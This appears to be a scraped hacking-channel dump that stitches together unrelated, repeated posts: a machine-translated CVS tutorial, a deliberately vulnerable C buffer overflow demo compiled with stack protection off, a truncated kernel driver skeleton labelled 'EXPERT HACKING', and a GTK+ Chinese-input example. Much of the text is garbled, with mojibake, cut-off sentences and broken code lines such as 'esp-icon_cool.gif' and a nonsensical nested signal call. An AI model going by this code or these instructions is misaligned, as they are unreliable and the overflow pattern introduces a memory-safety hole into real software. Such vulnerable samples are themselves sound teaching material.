User B 1.5:
#include
main ()
{
int i;
for (i = 0; i <10; i ++)
printf (βCount:% dβ, i);
printf (βOverβ);
}
User A:
#include
main ()
{
int i;
for (i = 0; i <50; i ++)
printf (βCount:% dβ, i);
return;
}
There will be a conflict when submitting, which requires manual editing. At this time, if user A runs $ cvs update and then edits test.c, you will see the content of test.c like this:
#include
main ()
{
int i ;
<<<<<<< test.c
for (i = 0; i <50; i ++)
=======
for (i = 0; i <10; i ++)
>>>>>>> 1.5
γ
printf ("" Count:% d "", i);
<<<<<<< test.c
return;
=======
printf ("" Over "");
>>>>>>> 1.5
} In
this way, it is necessary to manually modify according to different tasks, which is more troublesome, so in real collaborative development, very few, give the same file, many people have the same submit permissions.
4.3.4 file version management
version management system, the most important is the management of file versions, the default version upgrade using a certain amount of time if due to special needs, to define your own version of a file, you can use the following command:
cvs log [-lR] [-r rev] [-d date] [-w login] [filesβ¦]
Among them, the meaning of the parameters is as follows:
-l do not process subdirectories
-R do the same for subdirectories
-r specifies the version number
-d specified time
-w specifies the login name
use the following command to see all the historical version number or version information specified file the current module.
cvs annotate [-lR] [- r rev | -D date] files
wherein the parameters have the following meaning:
-l not processed subdirectories
-R subdirectories do the same process
-r version number specified
command can be used below with reference to the specified file (After checking out) all modified information.
The
output of $ cvs annotate cvstest / c / test.c is as follows: version modifiers modified time source code
1.1 (tang 18-Jan-00): #include
1.1 (tang 18-Jan-00): #include
1.1 (tang 18- Jan-00):
1.1 (tang 18-Jan-00): main ()
1.1 (tang 18-Jan-00): {
1.1 (tang 18-Jan-00): int i = 0;
1.1 (tang 18-Jan -00):
1.1 (tang 18-Jan-00): for (i = 0; i <20; i ++)
4.3.2 Creating a branch allows users to modify some files using the command commit without affecting the trunk. To create a branch, you should first create a tag for those files that you want to modify. The
tag is assigned to a file or a group of files Symbol. In the life cycle of the source code, the files that make up a group of modules are assigned the same tags. After executing
~ usr / teat / $ cvs tag release-1-0
tag creation in the working directory , you can create it One branch:
~ usr / teat / $ cvs rtag -b -r release-1-0 release-1-0-path print
-b: create branch
-r release-1-0: specify the existing label
releas-1-0 -patch: branch
print: module name
using cvs update -j option to change the local file copy of the merger on the branch.
~ usr / teat / $ cvs update -j Release-1-0 print.c
source file mutatis mutandis after, you can delete the local working copy with cvs release
and inform other developers no longer use this module.
~ use / $ cvs release -d the Test
4.3.3 to resolve conflicts
when there are multiple users make changes to the same file, if you modify the The same part of it, and if the revised content is not Then, conflict is inevitable.
For example, there is a file test.c in the CVS file repository, and its version is 1.4. User A first checks out the file for modification, and later user B checks out the file for modification and submits it to 1.5 in advance. When user A resubmits, there will be a conflict. At this time, CVS will prompt that it needs to be resolved manually.
For example, version 1.4 in the file repository: The content is:
#include
main ()
{
int i;
for (i = 0; i <100; i ++)
printf (βCount:% dβ, i);
}
User B 1.5:
#include
main ()
{
int i;
for (i = 0; i <10; i ++)
printf (βCount:% dβ, i);
printf (βOverβ);
}
User A:
#include
main ()
{
int i;
for (i = 0; i <50; i ++)
printf (βCount:% dβ, i);
return;
}
There will be a conflict when submitting, which requires manual editing. At this time, if user A runs $ cvs update and then edits test.c, you will see the content of test.c like this:
#include
main ()
{
int i ;
<<<<<<< test.c
for (i = 0; i <50; i ++)
=======
for (i = 0; i <10; i ++)
>>>>>>> 1.5
γ
printf ("" Count:% d "", i);
<<<<<<< test.c
return;
=======
printf ("" Over "");
>>>>>>> 1.5
} In
this way, it is necessary to manually modify according to different tasks, which is more troublesome, so in real collaborative development, very few, give the same file, many people have the same submit permissions.
4.3.4 file version management
version management system, the most important is the management of file versions, the default version upgrade using a certain amount of time if due to special needs, to define your own version of a file, you can use the following command:
cvs log [-lR] [-r rev] [-d date] [-w login] [filesβ¦]
Among them, the meaning of the parameters is as follows:
-l do not process subdirectories
-R do the same for subdirectories
-r specifies the version number
-d specified time
-w specifies the login name
use the following command to see all the historical version number or version information specified file the current module.
cvs annotate [-lR] [- r rev | -D date] files
wherein the parameters have the following meaning:
-l not processed subdirectories
-R subdirectories do the same process
-r version number specified
command can be used below with reference to the specified file (After checking out) all modified information.
The
output of $ cvs annotate cvstest / c / test.c is as follows: version modifiers modified time source code
1.1 (tang 18-Jan-00): #include
1.1 (tang 18-Jan-00): #include
1.1 (tang 18- Jan-00):
1.1 (tang 18-Jan-00): main ()
1.1 (tang 18-Jan-00): {
1.1 (tang 18-Jan-00): int i = 0;
1.1 (tang 18-Jan -00):
1.1 (tang 18-Jan-00): for (i = 0; i <20; i ++)
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Buffer Overflow Example :
This is an example of a very bad coding practices that introduces a buffer overflow. The purpose of this code is to serve as a demonstration a
#include <stdio.h>
void secretFunction()
{
printf("Omar's Crappy Function\n");
printf("This is a super secret function!\n");
}
void echo()
{
char buffer[20];
printf("Please enter your name:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
> The char buffer[20]; is a really bad idea.
> You can compile this code or use the already-compiled binary here.
π¦For 32 bit systems you can use gcc as shown below:
gcc vuln.c -o vuln -fno-stack-protector
For 64 bit systems
gcc vuln.c -o vuln -fno-stack-protector -m32
-fno-stack-protector disabled the stack protection. Smashing the stack is now allowed. -m32 made sure that the compiled binary is 32 bit. You may need to install some additional libraries to compile 32 bit binaries on 64 bit machines.
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Buffer Overflow Example :
This is an example of a very bad coding practices that introduces a buffer overflow. The purpose of this code is to serve as a demonstration a
#include <stdio.h>
void secretFunction()
{
printf("Omar's Crappy Function\n");
printf("This is a super secret function!\n");
}
void echo()
{
char buffer[20];
printf("Please enter your name:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
> The char buffer[20]; is a really bad idea.
> You can compile this code or use the already-compiled binary here.
π¦For 32 bit systems you can use gcc as shown below:
gcc vuln.c -o vuln -fno-stack-protector
For 64 bit systems
gcc vuln.c -o vuln -fno-stack-protector -m32
-fno-stack-protector disabled the stack protection. Smashing the stack is now allowed. -m32 made sure that the compiled binary is 32 bit. You may need to install some additional libraries to compile 32 bit binaries on 64 bit machines.
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from Backup Legal Mega
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Core Technology-Code Example :
EXPERT HACKING BY UNDERCODE :
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
***********************************************************************/
/* 1 */
#define KERNEL
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/tty.h>
#include <linux/signal.h>
#include <linux/errno.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <asm/segment.h>
#include <asm/system.h>
#include <asm/irq.h>
#include "tdd.h"
/* 2 */
static int tdd_trace;
static int write_busy;
static int read_busy;
static struct tdd_buf *qhead;
static struct tdd_buf *qtail;
/* 3 */
static int tdd_read(struct inode *, struct file *, char *, int);
static int tdd_write(struct inode *, struct file *, char *, int);
static int tdd_ioctl(struct inode *, struct file *, unsigned int,
unsigned long);
static int tdd_open(struct inode *, struct file *);
static void tdd_release(struct inode *, struct file *);
extern void console_print(char *);
struct file_operations tdd_fops =
{
NULL,
tdd_read,
tdd_write,
NULL,
NULL,
tdd_ioctl,
NULL,
tdd_open,
tdd_release,
NULL,
NULL,
NULL,
NULL
};
]
init.c
/*******************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
***********************************************************************/
void tdd_init(void)
{
tdd_trace = TRUE;
if (register_chrdev(30, "tdd", &tdd_fops))
TRACE_TXT("Cannot register tdd driver as major device 30")
else
TRACE_TXT("Tiny device driver registered successfully")
--------------------------------------------------------------------------------
newthread
/*******************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
***********************************************************************/
new_thread(int (*start_addr)(void), int stack_size)
{
struct context *ptr;
int esp;
/* 1 */
if (!(ptr = (struct context *)malloc(sizeof(struct context))))
return 0;
/* 2 */
if (!(ptr->stack = (char *)malloc(stack_size)))
return 0;
/* 3 */
esp = (int)(ptr->stack+(stack_size-4));
*(int *)esp = (int)exit_thread;
*(int *)(esp-4) = (int)start_addr;
*(int *)(esp-icon_cool.gif = esp-4;
ptr->ebp = esp-8;
π¦Core Technology-Code Example :
EXPERT HACKING BY UNDERCODE :
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
***********************************************************************/
/* 1 */
#define KERNEL
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/tty.h>
#include <linux/signal.h>
#include <linux/errno.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <asm/segment.h>
#include <asm/system.h>
#include <asm/irq.h>
#include "tdd.h"
/* 2 */
static int tdd_trace;
static int write_busy;
static int read_busy;
static struct tdd_buf *qhead;
static struct tdd_buf *qtail;
/* 3 */
static int tdd_read(struct inode *, struct file *, char *, int);
static int tdd_write(struct inode *, struct file *, char *, int);
static int tdd_ioctl(struct inode *, struct file *, unsigned int,
unsigned long);
static int tdd_open(struct inode *, struct file *);
static void tdd_release(struct inode *, struct file *);
extern void console_print(char *);
struct file_operations tdd_fops =
{
NULL,
tdd_read,
tdd_write,
NULL,
NULL,
tdd_ioctl,
NULL,
tdd_open,
tdd_release,
NULL,
NULL,
NULL,
NULL
};
]
init.c
/*******************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
***********************************************************************/
void tdd_init(void)
{
tdd_trace = TRUE;
if (register_chrdev(30, "tdd", &tdd_fops))
TRACE_TXT("Cannot register tdd driver as major device 30")
else
TRACE_TXT("Tiny device driver registered successfully")
--------------------------------------------------------------------------------
newthread
/*******************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
***********************************************************************/
new_thread(int (*start_addr)(void), int stack_size)
{
struct context *ptr;
int esp;
/* 1 */
if (!(ptr = (struct context *)malloc(sizeof(struct context))))
return 0;
/* 2 */
if (!(ptr->stack = (char *)malloc(stack_size)))
return 0;
/* 3 */
esp = (int)(ptr->stack+(stack_size-4));
*(int *)esp = (int)exit_thread;
*(int *)(esp-4) = (int)start_addr;
*(int *)(esp-icon_cool.gif = esp-4;
ptr->ebp = esp-8;
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦#Buffer Overflow Example :
> This is an example of a very bad coding practices
*** that introduces a buffer overflow.
2) The purpose of this code is to serve as a demonstration and exercise for [The Art of Hacking Series and live training..in site xy..
The
You can compile this code or use the already-compiled binary [here](https://github.com/The-Art-of-Hacking/h4cker/raw/master/buffer_overflow_example/vuln_program).
3) For 32 bit systems you can use [gcc](https://www.gnu.org/software/gcc/) as shown below:
For 64 bit systems
@UndercodeTesting
> git sources
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦#Buffer Overflow Example :
> This is an example of a very bad coding practices
*** that introduces a buffer overflow.
2) The purpose of this code is to serve as a demonstration and exercise for [The Art of Hacking Series and live training..in site xy..
#include <stdio.h>
void secretFunction()
{
printf("Omar's Crappy Function\n");
printf("This is a super secret function!\n");
}
void echo()
{
char buffer[20];
printf("Please enter your name:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
The
char buffer[20]; is a really bad idea. The rest will be demonstrated in the course.You can compile this code or use the already-compiled binary [here](https://github.com/The-Art-of-Hacking/h4cker/raw/master/buffer_overflow_example/vuln_program).
3) For 32 bit systems you can use [gcc](https://www.gnu.org/software/gcc/) as shown below:
gcc vuln.c -o vuln -fno-stack-protector
For 64 bit systems
gcc vuln.c -o vuln -fno-stack-protector -m32
-fno-stack-protector disabled the stack protection. Smashing the stack is now allowed. -m32 made sure that the compiled binary is 32 bit. You may need to install some additional libraries to compile 32 bit binaries on 64 bit machines.@UndercodeTesting
> git sources
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦THIS POST IS FOR PRO USERS A preliminary study of using in Gtk+/GnomeI :
development environment and development tools
1οΈβ£The desktop environment of the common Linux Contribution is internationalized, as long as you modify some configuration files. Realize the display of Chinese characters. Chinese character input has also followed the XIM standard. As long as the client program accepts XIM, the Chinese characters can be input in theory. The key problem is that not all familiar applications support internationalization, and sometimes even the software itself Support, also need to do some setting work.
2οΈβ£My working environment is Mandrake 7.2 and input 3.0 as exmaple recommended to use this old version for Testing
3οΈβ£ The KDE desktop realizes localization. Generally speaking, my editing tool is Vim. If you want to input arabic characters, you need to have a Terminal that supports XIM, rxvt- CLE is a good choice. I think Gnome-Terminal should obviously be able to achieve Chinese character input and output, but I havenβt got it right now. The main problem is I donβt know where to set the fontset, because only in this way can arabic and English mixed display After two days, look at the original code, it should not be difficult to modify.
4οΈβ£The vgraphical editor can use Gedit, and the bluefish I am currently using to write this HTML file. If you want to use your own definition in bluefish Fontset, instead of Gtk+'s default settings, needs to set the fontset variable in ~/.bluefish/rcfile to 1.
5οΈβ£The internationalization of software like Netscape has been done very well. After you set the locale and XIM, the input and output are satisfactory. Of course, you may need to set the font in the configuration file.
π¦Gtk+/Gnome example
/* Use the Chinese example ""base.c"" in gtk+/gnome programming
*
* This code uses gtk+/gnome to generate an editing window, through the system's XIM Server
* Input Chinese characters, the input font uses the definition in this program .
*
* Compilation method:
* gcc -o base base.c ``gnome-config --cflags --libs gnome gtk gnomeui`
*/
#include
/* Macro
* Define your locale at PACKAGE_LOCALE_DIR Location.
* I use Mandrake 7.2, LC_ALL=zh_CN.GB2312
* */
#define PACKAGE ""base""
#define PACKAGE_LOCALE_DIR ""/usr/local/share/locale""
gint delete_event (GtkWidget *widget, GdkEvent *event, gpointer data)
{
g_print(""delete event occerred "");
return(FALSE);
}
void destroy( GtkWidget *widget, gpointer data)
{
gtk_main_quit();
}
int main (int argc, char *argv[])
{
GtkWidget *window;
GtkWidget *text;
/* Variables related to font modification */
GtkStyle *style;
GdkFont *tmpfont;
gchar *fontstring;
/* Set the font to use: Two fonts correspond to English and Chinese respectively.
Modify this sentence according to your Xwindow *, Use fonts recognized by the system.
* Available
* xlsfonts |grep gb
* command to find your Chinese font.
* */
fontstring = ""-*-fixed-medium-r-normal--16-*-*-*- *-*-iso8859-1,-*-simsun-medium-r-normal--16-*-*-*-*-*-gb2312.1980-0"";
/* load locale:
* these two sentences have to*/
bindtextdomain (PACKAGE, PACKAGE_LOCALE_DIR);
textdomain (PACKAGE);
/* Gnome initialization */
gnome_init (PACKAGE, ""0.1"", argc, argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect)) "",
GTK_SIGNAL_FUNC (delete_event), NULL);
gtk_signal_connect (GTK_OBJECT (window), ""destroy"",
GTK_SIGNAL_FUNC (destroy), NULL);
text = gtk_text_new (NULL, NULL);
/* Set custom font: * /
style = gtk_rc_get_style (GTK_WIDGET(text));
tmpfont = style->font;
if(!(style->font = gdk_fontset_load(fontstring)))
g_print(""fontset_load false "");
gdk_font_unref(tmpfont);
gtk_widget_set_style(GTK_WIDGET(text), style);
gtk_container_add (GTK_CONTAINER (window), text);
gtk_widget_show (text);
gtk_widget_show (window);
gtk_text_set_editable (GTK_TEXT (text), TRUE);
gtk_main ();
return(0);
WRITTEN BY UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦THIS POST IS FOR PRO USERS A preliminary study of using in Gtk+/GnomeI :
development environment and development tools
1οΈβ£The desktop environment of the common Linux Contribution is internationalized, as long as you modify some configuration files. Realize the display of Chinese characters. Chinese character input has also followed the XIM standard. As long as the client program accepts XIM, the Chinese characters can be input in theory. The key problem is that not all familiar applications support internationalization, and sometimes even the software itself Support, also need to do some setting work.
2οΈβ£My working environment is Mandrake 7.2 and input 3.0 as exmaple recommended to use this old version for Testing
3οΈβ£ The KDE desktop realizes localization. Generally speaking, my editing tool is Vim. If you want to input arabic characters, you need to have a Terminal that supports XIM, rxvt- CLE is a good choice. I think Gnome-Terminal should obviously be able to achieve Chinese character input and output, but I havenβt got it right now. The main problem is I donβt know where to set the fontset, because only in this way can arabic and English mixed display After two days, look at the original code, it should not be difficult to modify.
4οΈβ£The vgraphical editor can use Gedit, and the bluefish I am currently using to write this HTML file. If you want to use your own definition in bluefish Fontset, instead of Gtk+'s default settings, needs to set the fontset variable in ~/.bluefish/rcfile to 1.
5οΈβ£The internationalization of software like Netscape has been done very well. After you set the locale and XIM, the input and output are satisfactory. Of course, you may need to set the font in the configuration file.
π¦Gtk+/Gnome example
/* Use the Chinese example ""base.c"" in gtk+/gnome programming
*
* This code uses gtk+/gnome to generate an editing window, through the system's XIM Server
* Input Chinese characters, the input font uses the definition in this program .
*
* Compilation method:
* gcc -o base base.c ``gnome-config --cflags --libs gnome gtk gnomeui`
*/
#include
/* Macro
* Define your locale at PACKAGE_LOCALE_DIR Location.
* I use Mandrake 7.2, LC_ALL=zh_CN.GB2312
* */
#define PACKAGE ""base""
#define PACKAGE_LOCALE_DIR ""/usr/local/share/locale""
gint delete_event (GtkWidget *widget, GdkEvent *event, gpointer data)
{
g_print(""delete event occerred "");
return(FALSE);
}
void destroy( GtkWidget *widget, gpointer data)
{
gtk_main_quit();
}
int main (int argc, char *argv[])
{
GtkWidget *window;
GtkWidget *text;
/* Variables related to font modification */
GtkStyle *style;
GdkFont *tmpfont;
gchar *fontstring;
/* Set the font to use: Two fonts correspond to English and Chinese respectively.
Modify this sentence according to your Xwindow *, Use fonts recognized by the system.
* Available
* xlsfonts |grep gb
* command to find your Chinese font.
* */
fontstring = ""-*-fixed-medium-r-normal--16-*-*-*- *-*-iso8859-1,-*-simsun-medium-r-normal--16-*-*-*-*-*-gb2312.1980-0"";
/* load locale:
* these two sentences have to*/
bindtextdomain (PACKAGE, PACKAGE_LOCALE_DIR);
textdomain (PACKAGE);
/* Gnome initialization */
gnome_init (PACKAGE, ""0.1"", argc, argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect (GTK_signal_connect)) "",
GTK_SIGNAL_FUNC (delete_event), NULL);
gtk_signal_connect (GTK_OBJECT (window), ""destroy"",
GTK_SIGNAL_FUNC (destroy), NULL);
text = gtk_text_new (NULL, NULL);
/* Set custom font: * /
style = gtk_rc_get_style (GTK_WIDGET(text));
tmpfont = style->font;
if(!(style->font = gdk_fontset_load(fontstring)))
g_print(""fontset_load false "");
gdk_font_unref(tmpfont);
gtk_widget_set_style(GTK_WIDGET(text), style);
gtk_container_add (GTK_CONTAINER (window), text);
gtk_widget_show (text);
gtk_widget_show (window);
gtk_text_set_editable (GTK_TEXT (text), TRUE);
gtk_main ();
return(0);
WRITTEN BY UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β